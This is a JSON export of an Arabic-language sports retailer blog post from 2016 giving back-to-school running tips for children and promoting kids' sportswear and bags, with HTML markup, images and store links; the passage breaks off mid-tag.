{"id":10594,"date":"2016-08-03T16:22:42","date_gmt":"2016-08-03T12:22:42","guid":{"rendered":"https:\/\/blog.sssports.com\/ar\/?p=10594"},"modified":"2019-10-02T02:23:29","modified_gmt":"2019-10-01T22:23:29","slug":"back-to-school-running-tips-from-sss","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/back-to-school-running-tips-from-sss\/","title":{"rendered":"\u0627\u0644\u0639\u0648\u062f\u0629 \u0644\u0644\u0645\u062f\u0631\u0633\u0629: \u0646\u0635\u0627\u0626\u062d \u0639\u0646 \u0627\u0644\u062c\u0631\u064a \u0645\u0639 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633"},"content":{"rendered":"<p>\u0627\u0644\u0645\u062f\u0627\u0631\u0633 \u0639\u0644\u0649 \u0627\u0644\u0623\u0628\u0648\u0627\u0628\u060c \u062d\u064a\u062b \u064a\u0628\u062f\u0623 \u0641\u0635\u0644 \u062c\u062f\u064a\u062f \u0628\u062d\u0644\u0648\u0650\u0647\u0650 \u0648\u0645\u0631\u0651\u0647 \u0645\u0646 \u0627\u0644\u0645\u0634\u0627\u0639\u0631 \u0627\u0644\u062a\u064a \u064a\u0645\u062a\u0644\u0643\u0647\u0627 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u0641\u062a\u0631\u0629 \u0645\u0646 \u0627\u0644\u0633\u0646\u0629. \u0641\u0627\u0644\u0630\u0647\u0627\u0628 \u0644\u0644\u0645\u062f\u0631\u0633\u0629 \u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0625\u0644\u064a\u0647\u0645 \u0647\u0648 \u0623\u0645\u0631 \u0634\u0627\u0642 \u0648\u0645\u0645\u062a\u0639 \u0628\u0630\u0627\u062a \u0627\u0644\u0648\u0642\u062a. \u0644\u0627 \u062f\u0627\u0639\u064a \u0644\u0644\u062e\u0648\u0641 \u0645\u0639 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633\u060c \u062d\u064a\u062b \u062a\u0646\u0637\u0644\u0642 \u0627\u0644\u064a\u0648\u0645 \u062d\u0645\u0644\u0629 \u0627\u0644\u0639\u0648\u062f\u0629 \u0644\u0644\u0645\u062f\u0631\u0633\u0629 \u0648\u0627\u0644\u062a\u064a \u062a\u062a\u0636\u0645\u0646 \u062e\u0637\u0629 \u0643\u0627\u0645\u0644\u0629 \u0644\u0644\u0627\u0633\u062a\u0639\u062f\u0627\u062f \u0644\u0644\u0641\u0635\u0644 \u0627\u0644\u062f\u0631\u0627\u0633\u064a \u0627\u0644\u0642\u0627\u062f\u0645. \u0641\u0625\u0646 \u0643\u0627\u0646 \u0635\u063a\u0627\u0631\u0643 \u0642\u0644\u0642\u064a\u0646 \u0645\u0646 \u0627\u0644\u0648\u0627\u062c\u0628\u0627\u062a \u0627\u0644\u0645\u062f\u0631\u0633\u064a\u0629\u060c \u0623\u0648 \u0628\u0634\u0623\u0646 \u0627\u0644\u0634\u0639\u0628\u064a\u0629 \u0628\u064a\u0646 \u0627\u0644\u0637\u0644\u0627\u0628\u060c \u0644\u062f\u064a\u0646\u0627 \u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u0633\u062a\u0644\u0632\u0645\u0627\u062a \u0627\u0644\u0636\u0631\u0648\u0631\u064a\u0629 \u0645\u0646 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0644\u0644\u0630\u0647\u0627\u0628 \u0644\u0644\u0645\u062f\u0631\u0633\u0629 \u0628\u0643\u0644 \u062b\u0642\u0629 \u0648\u0645\u062a\u0639\u0629. \u062f\u0639\u0648\u0646\u0627 \u0646\u0637\u0644\u0642 \u062d\u0645\u0627\u0633 \u0623\u0637\u0641\u0627\u0644\u0646\u0627 \u0627\u0644\u0630\u064a\u0646 \u064a\u0646\u062a\u0638\u0631\u0648\u0646 \u0628\u0641\u0627\u0631\u063a \u0627\u0644\u0635\u0628\u0631 \u0644\u0642\u0627\u0621 \u0623\u0635\u062f\u0642\u0627\u0626\u0647\u0645 \u0627\u0644\u0642\u062f\u0627\u0645\u0649 \u0648\u062a\u0643\u0648\u064a\u0646 \u0635\u062f\u0627\u0642\u0627\u062a \u062c\u062f\u064a\u062f\u0629\u060c \u0648\u0645\u0634\u0627\u0631\u0643\u0629 \u0642\u0635\u0635\u0647\u0645 \u0639\u0646 \u0642\u0636\u0627\u0621 \u0627\u0644\u0639\u0637\u0644\u0629 \u0627\u0644\u0635\u064a\u0641\u064a\u0629\u060c \u0639\u062f\u0627 \u0639\u0646 \u0627\u0644\u062a\u0646\u0627\u0641\u0633 \u0641\u064a\u0645\u0627 \u0628\u064a\u0646\u0647\u0645 \u0644\u064a\u0643\u0648\u0646\u0648\u0627 \u0627\u0644\u0623\u0643\u062b\u0631 \u0634\u0639\u0628\u064a\u0629 \u0648\u062a\u0641\u0648\u0651\u0642\u064b\u0627 \u0628\u064a\u0646 \u0627\u0644\u0637\u0644\u0627\u0628.<\/p>\n<p>\u064a\u0643\u0648\u0646 \u0627\u0644\u062a\u062d\u062f\u064a \u0627\u0644\u0623\u0643\u0628\u0631 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0648\u0642\u062a \u0645\u0646 \u0627\u0644\u0639\u0627\u0645 \u0647\u0648 \u0643\u064a\u0641\u064a\u0629 \u0627\u0633\u062a\u0639\u0627\u062f\u0629 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0648\u0627\u0644\u062a\u0641\u0648\u0642 \u0641\u064a \u0627\u0644\u0623\u0646\u0634\u0637\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0627\u0644\u0645\u062f\u0631\u0633\u064a\u0629 \u0648\u0627\u0644\u0628\u0637\u0648\u0644\u0627\u062a \u0628\u0639\u062f \u0639\u0637\u0644\u0629 \u0637\u0648\u064a\u0644\u0629 \u062f\u0648\u0646 \u0628\u0631\u0646\u0627\u0645\u062c \u064a\u0648\u0645\u064a. \u0648\u0644\u0647\u0630\u0627\u060c \u0646\u0628\u062f\u0623 \u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u0639\u0648\u062f\u0629 \u0644\u0644\u0645\u062f\u0631\u0633\u0629 \u0645\u0639 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0628\u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u062c\u0631\u064a\u060c \u0644\u0646\u062a\u0627\u0628\u0639 \u0639\u0644\u0649 \u0645\u062f\u0649 \u0627\u0644\u0623\u0633\u0627\u0628\u064a\u0639 \u0627\u0644\u0642\u0627\u062f\u0645\u0629 \u0628\u062a\u063a\u0637\u064a\u0629 \u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0631\u064a\u0627\u0636\u0627\u062a \u0643\u0627\u0644\u0633\u0628\u0627\u062d\u0629 \u0648\u0643\u0631\u0629 \u0627\u0644\u0642\u062f\u0645 \u0648\u0643\u0631\u0629 \u0627\u0644\u0633\u0644\u0629\u060c \u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u0627\u0644\u0645\u0646\u062a\u062c\u0627\u062a \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 \u0644\u0641\u062a\u0631\u0629 \u0627\u0644\u0639\u0648\u062f\u0629 \u0644\u0644\u0645\u062f\u0631\u0633\u0629\u060c \u062c\u0645\u064a\u0639\u0647\u0627 \u0639\u0644\u0649 \u0645\u062f\u0648\u0646\u0629 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633.<\/p>\n<h5>\u0644\u0645\u0627\u0630\u0627 \u064a\u0639\u062a\u0628\u0631 \u0627\u0644\u062c\u0631\u064a \u0631\u064a\u0627\u0636\u0629 \u0647\u0627\u0645\u0629\u061f<\/h5>\n<p>\u0628\u0627\u0644\u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u0627\u0644\u062c\u0627\u0646\u0628 \u0627\u0644\u0645\u0631\u062d \u0645\u0646 \u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u062c\u0631\u064a\u060c \u0641\u0625\u0646\u0647\u0627 \u0623\u064a\u0636\u064b\u0627 \u0648\u0633\u064a\u0644\u0629 \u0631\u0627\u0626\u0639\u0629 \u0644\u062a\u0639\u0632\u064a\u0632 \u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0648\u062c\u0639\u0644 \u0627\u0644\u0637\u0627\u0644\u0628 \u0645\u0633\u062a\u0639\u062f\u064b\u0627 \u0644\u0623\u064a \u0646\u0634\u0627\u0637 \u0631\u064a\u0627\u0636\u064a \u0642\u0627\u062f\u0645\u060c \u0641\u0627\u0644\u062c\u0631\u064a \u0647\u0648 \u0645\u0647\u0627\u0631\u0629 \u0623\u0633\u0627\u0633\u064a\u0629 \u0641\u064a \u062c\u0645\u064a\u0639 \u0623\u0646\u0648\u0627\u0639 \u0627\u0644\u0631\u064a\u0627\u0636\u0627\u062a. \u0643\u0645\u0627 \u0623\u0646\u0647 \u064a\u0639\u0632\u0632 \u0645\u0646 \u0633\u0631\u0639\u0629 \u0646\u0628\u0636 \u0627\u0644\u0642\u0644\u0628 \u0648\u0636\u062e \u0627\u0644\u062f\u0645 \u0639\u0628\u0631 \u0627\u0644\u062c\u0633\u0645\u060c \u0633\u0648\u0627\u0621 \u0643\u0627\u0646 \u0635\u063a\u064a\u0631\u0643 \u064a\u062d\u0628 \u0627\u0644\u062c\u0631\u064a \u0641\u064a \u0645\u0644\u0627\u0639\u0628 \u0627\u0644\u0645\u062f\u0631\u0633\u0629 \u0623\u0648 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0645\u062d\u062a\u0631\u0641 \u0644\u0644\u062f\u062e\u0648\u0644 \u0641\u064a \u0627\u0644\u0628\u0637\u0648\u0644\u0627\u062a \u0627\u0644\u0623\u0648\u0644\u0645\u0628\u064a\u0629. \u0641\u0637\u0644\u0627\u0628\u0646\u0627 \u0627\u0644\u064a\u0648\u0645 \u064a\u0645\u062a\u0644\u0643\u0648\u0646 \u0641\u0631\u0635\u0629 \u0643\u0628\u064a\u0631\u0629 \u0644\u0644\u0645\u0634\u0627\u0631\u0643\u0629 \u0641\u064a \u0628\u0637\u0648\u0644\u0627\u062a \u0627\u0644\u062c\u0631\u064a \u0628\u0641\u0636\u0644 \u0627\u0644\u062f\u0639\u0645 \u0627\u0644\u0641\u0627\u0626\u0642 \u0648\u0627\u0644\u062a\u0633\u0647\u064a\u0644\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0648\u0641\u0631\u0647\u0627 \u0627\u0644\u0645\u062f\u0627\u0631\u0633\u060c \u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u0641\u0631\u0642 \u0627\u0644\u0646\u0648\u0627\u062f\u064a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0627\u0644\u062a\u064a \u064a\u0645\u0643\u0646\u0647\u0645 \u0627\u0644\u0627\u0646\u062a\u0633\u0627\u0628 \u0625\u0644\u064a\u0647\u0627.<\/p>\n<p>\u0641\u0625\u0630\u0627 \u0627\u0645\u062a\u0644\u0643 \u0627\u0628\u0646\u0643 \u0623\u0648 \u0627\u0628\u0646\u062a\u0643 \u0627\u0644\u0642\u062f\u0631\u0629 \u0648\u0627\u0644\u0639\u0632\u064a\u0645\u0629 \u0639\u0644\u0649 \u0627\u0644\u0627\u0646\u062a\u0642\u0627\u0644 \u0628\u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u062c\u0631\u064a \u0625\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0623\u0639\u0644\u0649\u060c \u062f\u0639\u0647\u0645 \u064a\u0628\u062f\u0624\u0648\u0646 \u0628\u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0627\u062a \u0648\u064a\u062a\u062c\u0647\u0651\u0632\u0648\u0646 \u0644\u062a\u062d\u062f\u064a\u0627\u062a\u0647\u0645 \u0627\u0644\u0645\u0642\u0628\u0644\u0629 \u0645\u0639 \u0646\u0635\u0627\u0626\u062d \u062a\u062f\u0631\u064a\u0628\u064a\u0629 \u0648\u0645\u0644\u0627\u0628\u0633 \u0648\u0645\u0639\u062f\u0651\u0627\u062a \u062f\u0627\u0639\u0645\u0629 \u0644\u062f\u0649 \u0645\u0648\u0642\u0639 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a.<\/p>\n<h5>\u0644\u0627 \u062a\u0646\u0633 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0625\u062d\u0645\u0627\u0621<\/h5>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-10845 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/07\/BTS_RUNNING_WARM-UP_700X4001.jpg\" alt=\"\u0627\u0644\u0639\u0648\u062f\u0629 \u0625\u0644\u0649 \u0627\u0644\u0645\u062f\u0631\u0633\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p>\u064a\u0639\u062a\u0645\u062f \u062c\u0632\u0621 \u0643\u0628\u064a\u0631 \u0645\u0646 \u0627\u0644\u0646\u062c\u0627\u062d \u0641\u064a \u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u062c\u0631\u064a \u0639\u0644\u0649 \u0645\u0645\u0627\u0631\u0633\u0629 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0625\u062d\u0645\u0627\u0621\u060c \u0641\u0633\u0648\u0627\u0621 \u0643\u0627\u0646 \u0637\u0641\u0644\u0643 \u0645\u062d\u0628\u0651\u064b\u0627 \u0644\u0644\u062c\u0631\u064a \u0627\u0644\u0633\u0631\u064a\u0639 \u0623\u0648 \u0644\u0645\u0633\u0627\u0641\u0627\u062a \u0637\u0648\u064a\u0644\u0629\u060c \u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u062c\u062f\u064b\u0627 \u062a\u062d\u0636\u064a\u0631 \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0644\u0644\u062d\u0631\u0643\u0629 \u0628\u062d\u064a\u062b \u062a\u062a\u062c\u0646\u0628 \u0635\u062f\u0645\u0647\u0627 \u0628\u062c\u0647\u062f \u0645\u0641\u0627\u062c\u0626 \u064a\u0631\u0647\u0642\u0647\u0627. \u0641\u0643\u0645\u0627 \u062a\u0643\u0648\u0646 \u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0636\u0631\u0648\u0631\u064a\u0629 \u0644\u0644\u062a\u0645\u0647\u064a\u062f \u0644\u0625\u062c\u0631\u0627\u0621 \u0627\u0644\u0627\u0645\u062a\u062d\u0627\u0646\u0627\u062a\u060c \u0639\u0644\u064a\u0643 \u0628\u0627\u0644\u0642\u064a\u0627\u0645 \u0628\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0625\u062d\u0645\u0627\u0621 \u0644\u062a\u0643\u0648\u0646 \u062c\u0627\u0647\u0632\u064b\u0627 \u0644\u0644\u0633\u0628\u0627\u0642\u0627\u062a \u0627\u0644\u0643\u0628\u064a\u0631\u0629 \u0627\u0644\u0642\u0627\u062f\u0645\u0629. \u062a\u0627\u0628\u0639 <a href=\"https:\/\/become.sssports.com\/ar\/running-tips-the-warm-up\/\">\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0625\u062d\u0645\u0627\u0621<\/a> \u0645\u0646 \u0627\u0644\u062a\u0645\u062f\u062f \u0648\u0625\u0644\u0649 \u0627\u0644\u0627\u0633\u062a\u0644\u0642\u0627\u0621 \u0648\u0627\u0644\u0642\u0641\u0632 \u0648\u063a\u064a\u0631\u0647\u0627 \u0645\u0646 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0639\u0644\u0649 \u0645\u062f\u0648\u0646\u0629 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633. \u062d\u064a\u062b \u064a\u0645\u0643\u0646 \u062a\u0637\u0628\u064a\u0642 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0625\u062d\u0645\u0627\u0621 \u0639\u0644\u0649 \u0623\u064a \u0641\u0626\u0629 \u0639\u0645\u0631\u064a\u0629 \u0648\u0644\u062c\u0645\u064a\u0639 \u0623\u0646\u0648\u0627\u0639 \u0627\u0644\u0631\u064a\u0627\u0636\u0627\u062a \u0628\u0645\u0627 \u0641\u064a\u0647\u0627 \u0627\u0644\u0627\u0633\u062a\u0639\u062f\u0627\u062f \u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0631\u062f\u064a\u0648 \u0627\u0644\u0628\u0633\u064a\u0637\u0629.<\/p>\n<p>&nbsp;<\/p>\n<h5>\u062a\u0637\u0648\u0651\u0631 \u062a\u062f\u0631\u064a\u062c\u064a\u064b\u0627<\/h5>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-10847 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/07\/BTS_RUNNING_WORK_YOUR_WAYUP_700X4001.jpg\" alt=\"\u0627\u0644\u0639\u0648\u062f\u0629 \u0625\u0644\u0649 \u0627\u0644\u0645\u062f\u0631\u0633\u0629\" width=\"700\" height=\"400\" \/><br \/>\n\u064a\u0641\u0636\u0651\u0644 \u0627\u0644\u0628\u062f\u0621 \u0628\u0627\u0644\u062c\u0631\u064a \u0644\u0645\u0633\u0627\u0641\u0627\u062a \u0642\u0635\u064a\u0631\u0629 \u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0644\u0645\u0628\u062a\u062f\u0626\u064a\u0646 \u0648\u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u062a\u062d\u062f\u064a \u0628\u0634\u0643\u0644 \u062a\u062f\u0631\u064a\u062c\u064a. \u0643\u0645\u0627 \u0623\u0646\u0647 \u0645\u0646 \u0627\u0644\u0644\u0637\u064a\u0641 \u0627\u0644\u0627\u0646\u0636\u0645\u0627\u0645 \u0625\u0644\u0649 \u0623\u0646\u0634\u0637\u0629 \u062a\u0636\u0645 \u0627\u0644\u0623\u0647\u0644 \u0648\u0627\u0644\u0623\u0628\u0646\u0627\u0621 \u062a\u062f\u0639\u0645 \u0627\u0644\u062a\u0648\u0627\u0635\u0644 \u0641\u064a\u0645\u0627 \u0628\u064a\u0646\u0647\u0645 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0631\u064a\u0627\u0636\u0629\u060c \u0633\u0648\u0627\u0621 \u0628\u0627\u0644\u0647\u0631\u0648\u0644\u0629 \u0641\u064a \u0627\u0644\u062d\u062f\u064a\u0642\u0629 \u0623\u0648 \u0627\u0644\u0642\u064a\u0627\u0645 \u0628\u062a\u0645\u0627\u0631\u064a\u0646 \u062a\u062f\u0631\u064a\u0628\u064a\u0629 \u0633\u0647\u0644\u0629 \u0644\u0644\u062c\u0631\u064a \u0627\u0644\u0633\u0631\u064a\u0639\u060c \u0643\u0644\u0627\u0643\u0645\u0627 \u0633\u064a\u0633\u062a\u0641\u064a\u062f \u0645\u0646 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0648\u0645\u0646 \u0642\u0636\u0627\u0621 \u0648\u0642\u062a \u0645\u0645\u062a\u0639 \u0645\u0639\u064b\u0627. \u0641\u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0637\u0631\u064a\u0642\u0629 \u0631\u0627\u0626\u0639\u0629 \u0644\u0644\u062a\u0641\u0627\u0639\u0644 \u0645\u0639 \u0623\u0637\u0641\u0627\u0644\u0643 \u0648\u0623\u0633\u0644\u0648\u0628 \u0635\u062d\u064a \u0644\u0642\u0636\u0627\u0621 \u0627\u0644\u0648\u0642\u062a \u0645\u0639\u064b\u0627 \u0648\u062e\u0627\u0635\u0629 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0630\u0644\u0643 \u0645\u0645\u0643\u0646\u064b\u0627 \u0641\u064a \u0627\u0644\u0647\u0648\u0627\u0621 \u0627\u0644\u0637\u0644\u0642 \u0644\u0644\u0627\u0628\u062a\u0639\u0627\u062f \u0639\u0646 \u0635\u062e\u0628 \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u0636\u062c\u064a\u062c\u0647\u0627 \u0627\u0644\u064a\u0648\u0645\u064a.<\/p>\n<h5>\u0627\u062e\u062a\u0631 \u0627\u0644\u0645\u0633\u062a\u0644\u0632\u0645\u0627\u062a \u0627\u0644\u0645\u0646\u0627\u0633\u0628\u0629<\/h5>\n<p>\u064a\u0633\u0627\u0639\u062f \u0627\u0631\u062a\u062f\u0627\u0621 \u0627\u0644\u062d\u0630\u0627\u0621 \u0648\u0627\u0644\u0644\u0628\u0627\u0633 \u0627\u0644\u0645\u0646\u0627\u0633\u0628 \u0637\u0641\u0644\u0643 \u0639\u0644\u0649 \u0627\u0644\u0627\u0633\u062a\u0645\u062a\u0627\u0639 \u0628\u0627\u0644\u062c\u0631\u064a \u0628\u0643\u0644 \u0623\u0634\u0643\u0627\u0644\u0647. \u0648\u0623\u0647\u0645 \u0645\u0627 \u064a\u0645\u064a\u0632 \u0627\u0644\u0645\u062a\u062c\u0631 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a \u0644\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0647\u0648 \u0627\u0644\u062a\u0646\u0648\u0639 \u0627\u0644\u0643\u0628\u064a\u0631 \u0641\u064a \u0645\u062c\u0645\u0648\u0639\u0629 \u0627\u0644\u0645\u0646\u062a\u062c\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0644\u0627\u0626\u0645 \u0623\u0646\u0645\u0627\u0637\u064b\u0627 \u0631\u064a\u0627\u0636\u064a\u0629 \u0639\u062f\u064a\u062f\u0629 \u0644\u0645\u062e\u062a\u0644\u0641 \u0644\u0641\u0626\u0627\u062a \u0627\u0644\u0639\u0645\u0631\u064a\u0629\u060c \u0648\u0627\u0644\u062a\u064a \u062a\u0645\u062a\u0627\u0632 \u0628\u062a\u0642\u0646\u064a\u0627\u062a \u062d\u062f\u064a\u062b\u0629 \u062a\u0648\u0641\u0631 \u0627\u0644\u062f\u0639\u0645 \u0648\u0627\u0644\u0631\u0627\u062d\u0629 \u0648\u0627\u0644\u062a\u0628\u0631\u064a\u062f \u0648\u0627\u0644\u062d\u0645\u0627\u064a\u0629 \u0645\u0646 \u0623\u0634\u0639\u0629 \u0627\u0644\u0634\u0645\u0633\u060c \u0639\u062f\u0627 \u0639\u0646 \u0643\u0648\u0646\u0647\u0627 \u062a\u062d\u0645\u0644 \u0627\u0633\u0645 \u0623\u0634\u0647\u0631 \u0627\u0644\u0645\u0627\u0631\u0643\u0627\u062a \u0627\u0644\u0639\u0627\u0644\u0645\u064a\u0629 \u0648\u0623\u062d\u062f\u062b \u0627\u0644\u0635\u064a\u062d\u0627\u062a \u0627\u0644\u0631\u0627\u0626\u062c\u0629 \u0627\u0644\u062a\u064a \u064a\u062d\u0628\u0647\u0627 \u0627\u0644\u0623\u0637\u0641\u0627\u0644.<\/p>\n<h5><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/adidas-gympose-revolution-bag-44235\" target=\"_blank\">\u062d\u0642\u064a\u0628\u0629 \u062c\u064a\u0645\u0628\u0648\u0632 \u0631\u064a\u0641\u0648\u0644\u064a\u0648\u0634\u0646 \u0645\u0646 \u0627\u062f\u064a\u062f\u0627\u0633<\/a><\/h5>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/adidas-gympose-revolution-bag-44235\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-10640 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/07\/BTS_RUNNING_ADIDAS_BAG_01_700X400_AR.jpg\" alt=\"\u0627\u0644\u0639\u0648\u062f\u0629 \u0644\u0644\u0645\u062f\u0631\u0633\u0629\" width=\"700\" height=\"400\" \/><\/a><\/p>\n<p>\u062a\u0645\u062a\u0627\u0632 \u0647\u0630\u0647 \u0627\u0644\u062d\u0642\u064a\u0628\u0629 \u0628\u0643\u0648\u0646\u0647\u0627 \u0633\u0647\u0644\u0629 \u0627\u0644\u062d\u0645\u0644 \u0648\u0627\u0644\u0627\u0631\u062a\u062f\u0627\u0621. \u0641\u0645\u0627 \u0639\u0644\u064a\u0643 \u0625\u0644\u0627 \u0623\u0646 \u062a\u0636\u0639 \u0623\u063a\u0631\u0627\u0636\u0643 \u0627\u0644\u062a\u064a \u064a\u062d\u062a\u0627\u062c\u0647\u0627 \u0635\u063a\u064a\u0631\u0643 \u0644\u064a\u0646\u0637\u0644\u0642 \u0625\u0644\u0649 \u062d\u0635\u062a\u0647 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629. \u0648\u062a\u0636\u0645 \u0647\u0630\u0647 \u0627\u0644\u062d\u0642\u064a\u0628\u0629 \u0627\u0644\u0623\u0646\u064a\u0642\u0629 \u0645\u0646 \u0627\u062f\u064a\u062f\u0627\u0633 \u062d\u062c\u0631\u0629 \u0623\u0633\u0627\u0633\u064a\u0629 \u0644\u0644\u062a\u062e\u0632\u064a\u0646 \u0648\u0631\u0628\u0627\u0637 \u0625\u063a\u0644\u0627\u0642 \u0642\u0627\u0628\u0644 \u0644\u0644\u062a\u0639\u062f\u064a\u0644.<\/p>\n<p>&nbsp;<\/p>\n<h5><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/nike-kids-jdi-split-camo-dri-fit-t-shirt-53706\" target=\"_blank\">\u062a\u064a\u0634\u064a\u0631\u062a \u062c\u064a\u0647 \u062f\u064a \u0622\u064a \u0643\u0627\u0645\u0648 \u062f\u0631\u0627\u064a \u0641\u062a \u0645\u0646 \u0646\u0627\u064a\u0643 \u0644\u0644\u0623\u0648\u0644\u0627\u062f<\/a><\/h5>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/nike-kids-jdi-split-camo-dri-fit-t-shirt-53706\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-10642 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/07\/BTS_RUNNING_NIKE_DRIFIT_02_700X400_AR.jpg\" alt=\"\u0627\u0644\u0639\u0648\u062f\u0629 \u0644\u0644\u0645\u062f\u0631\u0633\u0629\" width=\"700\" height=\"400\" \/><\/a><\/p>\n<p>\u064a\u0645\u062a\u0627\u0632 \u062a\u064a\u0634\u064a\u0631\u062a \u062c\u064a\u0647 \u062f\u064a \u0622\u064a \u0643\u0627\u0645\u0648 \u062f\u0631\u0627\u064a \u0641\u062a \u0645\u0646 \u0646\u0627\u064a\u0643 \u0644\u0644\u0623\u0648\u0644\u0627\u062f \u0628\u062a\u0635\u0645\u064a\u0645 \u0643\u0644\u0627\u0633\u064a\u0643\u064a \u0645\u0639 \u0637\u0628\u0639\u0629 &#8220;\u062c\u064a\u0647 \u062f\u064a \u0622\u064a&#8221; \u0639\u0644\u0649 \u0627\u0644\u0635\u062f\u0631. \u0648\u0647\u0648 \u0645\u0635\u0646\u0648\u0639 \u0645\u0646 \u0646\u0633\u064a\u062c &#8220;\u062f\u0631\u0627\u064a \u0641\u062a&#8221; \u0627\u0644\u0630\u064a \u064a\u0637\u0631\u062f \u0627\u0644\u0639\u0631\u0642 \u0628\u0639\u064a\u062f\u0627\u064b \u0639\u0646 \u0627\u0644\u0628\u0634\u0631\u0629 \u0644\u064a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0628\u0631\u0648\u062f\u0629 \u0627\u0644\u062c\u0633\u062f \u0648\u0631\u0627\u062d\u062a\u0647. \u0643\u0645\u0627 \u064a\u0623\u062a\u064a \u0628\u0623\u0643\u0645\u0627\u0645 \u0642\u0635\u064a\u0631\u0629 \u0645\u0639 \u064a\u0627\u0642\u0629 \u0636\u064a\u0642\u0629 \u0645\u0628\u0637\u0646\u0629 \u0627\u0644\u062d\u0648\u0627\u0641 \u062a\u0639\u0632\u0632 \u0627\u0644\u0631\u0627\u062d\u0629.<\/p>\n<p>&nbsp;<\/p>\n<h5><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/under-armour-kids-25-play-up-shorts-33449\" target=\"_blank\">\u0634\u0648\u0631\u062a \u0628\u0644\u0627\u064a \u0623\u0628 2.5 \u0625\u0646\u0634 \u0644\u0644\u0623\u0637\u0641\u0627\u0644 \u0645\u0646 \u0627\u0646\u062f\u0631 \u0627\u0631\u0645\u0631<\/a><\/h5>\n<p><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/under-armour-kids-25-play-up-shorts-33449\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-10646 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/07\/BTS_RUNNING_UA_SHORTS_03_700X400_AR.jpg\" alt=\"\u0627\u0644\u0639\u0648\u062f\u0629 \u0644\u0644\u0645\u062f\u0631\u0633\u0629\" width=\"700\" 